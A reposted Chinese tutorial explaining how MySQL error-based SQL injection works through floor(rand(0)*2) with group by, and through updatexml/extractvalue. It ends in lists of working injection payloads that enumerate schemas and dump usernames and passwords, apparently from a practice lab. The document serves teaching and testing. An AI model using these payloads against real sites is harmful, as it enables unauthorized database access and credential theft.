社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

Mysql报错注入之函数分析

Ms08067安全实验室 • 5 年前 • 612 次点击  

1.floor函数

学习中遇见了 select count() from table group by floor(rand(0)2); 这么条语句。
秉持着不求甚解的态度,在此做个总结。
首先,只要该语句明白了,那么类似 
select count(),(floor(rand(0)2))x from table group by x; 
这样的变形语句基本上都可以变通(这里只是起了个别名)。
基本的查询 select 自不必多说,剩下的几个关键字有 count 、group by 、floor、rand。

rand(0)*2

rand() 可以产生一个在0和1之间的随机数。
可见,每次产生的都不一样。当我们提供一个种子参数 0 后,再次查看:
可以发现,每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。
查看多个数据看一下。( test 是我之前创建的一个拥有9条数据的表)
发现第一条数据与刚才查看的单个数据相符合,其它的数据也完全一样。为什么要乘以 2 呢?
这就要配合 floor 函数来说了。

floor(rand(0)*2)

floor() 返回小于等于该值的最大整数。
之前我们了解到,rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0
到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。
也就是 0 和 1。
为什么需要这两个数呢?

group by 与 count(*)

group by 主要用来对数据进行分组(相同的分为一组),这里与count() 结合使
用。举个例子就一目了然了。
可以观察到,这里对重复性数据进行了整合,然后计数。
重点来了,也就是在这个整合然后计数的过程中,中间发生了什么我们是必须要明
白的。
经过网上查询,发现mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字
段,一个是分组的 key ,一个是计数值 count()。也就对应于上个截图中的 
prod_price 和 count()。
然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。
先来解释一下count(*)与group by是如何共同工作的。首先,系统会建立一个虚拟表:
假设有表:
执行count(*) from ... group by age的过程中,会形成这样的虚拟表:
它是如何一步步形成这张表的呢?
由于group by的是age,第一次读取的就是18,在虚拟表中寻找是否已经存在
18,由于表是空的,直接插入一条新数据,这时虚拟表变成这样:
继续。下一个是19,由于虚拟表中依旧没有key为19的字段,故插入。
再下一个是20,继续插入。再下一个又是20。由于已经有了20,故将key为20的
字段的count(*)的值加1,变为了2。
剩下的以此类推,最后形成了这个虚拟表:
好了,现在group by原理讲完了。那究竟是如何将其与floor联合起来,进行floor
报错呢?先来回顾一下
payload:
  1. select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;


总体是一个group by语句,只不过这里group by的是floor(rand(0)2)。
这是一个表达式,每次运算的值都是随机的。还记得我刚刚说的floor(rand(0)2)的
值序列开头是011011...吧?
ok,下面开始运算。首先,建立一张虚拟表:
接着,进行group by floor(rand(0)2)。
floor表达式第一次运算的值为0,在表中没有找到key为0的数据,故插入,在插入
的过程中需要再取一次group by后面的值(即再进行一次floor运算,结果为
1),取到了1,将之插入,并将count()置1。
继续,再进行group by floor(rand(0)2)。
进行floor表达式运算,由于这是第三次运算了,故值为1。
刚好表中有了key为1的数据,故直接将其对应的count()加1即可。
继续进行group by。
这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是
否有key为0的数据。
当然没有,故应当插入一条新记录。
在插入时进行floor运算(就像第一次group by那样),这时的值为1,并将count(*)
置1。
可是你会说,虚拟表中已经有了key为1的数据了啊。
对,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。
利用:
  1. select count(*), concat((select database()), '-', floor(rand(0)*2)) as a from information_schema.tables group by a; #将select database()换成你想要的东西!~


报错分析

rand()的特殊性

  1. select count(*) from test group by floor(rand(0)*2);


而又因为 rand 函数的特殊性(如果使用rand()的话,该值会被计算多次)。
在这里的意思就是,group by 进行分组时,floor(rand(0)2) 执行一次(查看分组
是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 
floor(rand(0)2) 就又计算了一次。
其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调
用,一定会产生新值
这样,所有的理论细节就全部明朗了。

报错

还记得我们之前产生的疑问,为什么要用 floor(rand(0)*2) 产生 0 和 1 这两个数吗?
当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是
需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此
最终插入虚拟表的也就是第二个值 1* ;然后遇到第三个值 1 ,因为已经存在分组 
1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不
存在,于是又需要插入新分组,然后floor(rand(0)2)又被触发,生成第五个值 1 
,因此这时还是往虚拟表里插入分组 1 ,**但是,分组 1 已经存在了!
所以报错!
floor(rand(0)*2 的作用就是产生预知的数字序列01101,然后再利用 rand() 的特
殊性和 group by 的虚拟表,最终引起了报错。

利用floor()报错:

  1. 注入公式(Payload为自己想获取内容的脚本):


  2. and(select 1 from (select count(*),concat(concat(payload),floor(rand( 0)*2))x from information_schema.tables group by x)y)



  3. and(select 1 from (select count(*),concat(concat(database(),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)


  4. //暴库



  5. and(select 1 from (select count(*),concat(concat((select concat( table_name) from information_schema.tables where table_schema="security" limit 3,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)


  6. //查询表



  7. and(select 1 from (select count(*),concat(concat((select concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),0x7e ),floor(rand(0)*2))x from information_schema.tables group by x)y)


  8. //查询字段



  9. and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e) from security.users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x) y)


  10. //查询字段内容


2.xpath函数:

主要的两个函数:
Mysql5.1.5
  • updatexml():对xml进行查询和修改

  • extractvalue():对xml进行查询和修改

都是最大爆32位。提示输出信息超过一行,说明这里数据库名组成的字符串长度
超过了64位(groupconcat()函数最大长度为64位),所以需要放弃groupconcat()
函数,而使用limit 0,1来一个个输出。
limit 0,1 表示输出第一个数据。0表示输出的起始位置,1表示跨度为1(即输出几
个数据,1表示输出一个,2就表示输出两个)
  1. and updatexml(1,concat(0x7e,(payload),0x7e))



  2. and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+


  3. //查询当前用户名


  4. and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+


  5. //查询当前数据库名


  6. and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+


  7. //查询所有的数据库名称


  8. id=1%27 %20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23


  9. //查询表名


  10. id=1%27%20and%20updatexml(1,concat(0x7e,(select %20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23


  11. //查询表下的字段


  12. and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from security.users limit 0,1), 0x7e),1)


  13. //爆出具体的字段内容。


参考:http://www.hellomao.top/2019/08/16/webmysqlfloor/#%E6%8A%A5%E9%94%99%E5%88%86%E6%9E%90

扫描下方二维码学习更多WEB安全知识:



Ms08067安全实验室
专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:www.ms08067.com



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/55205
 
612 次点击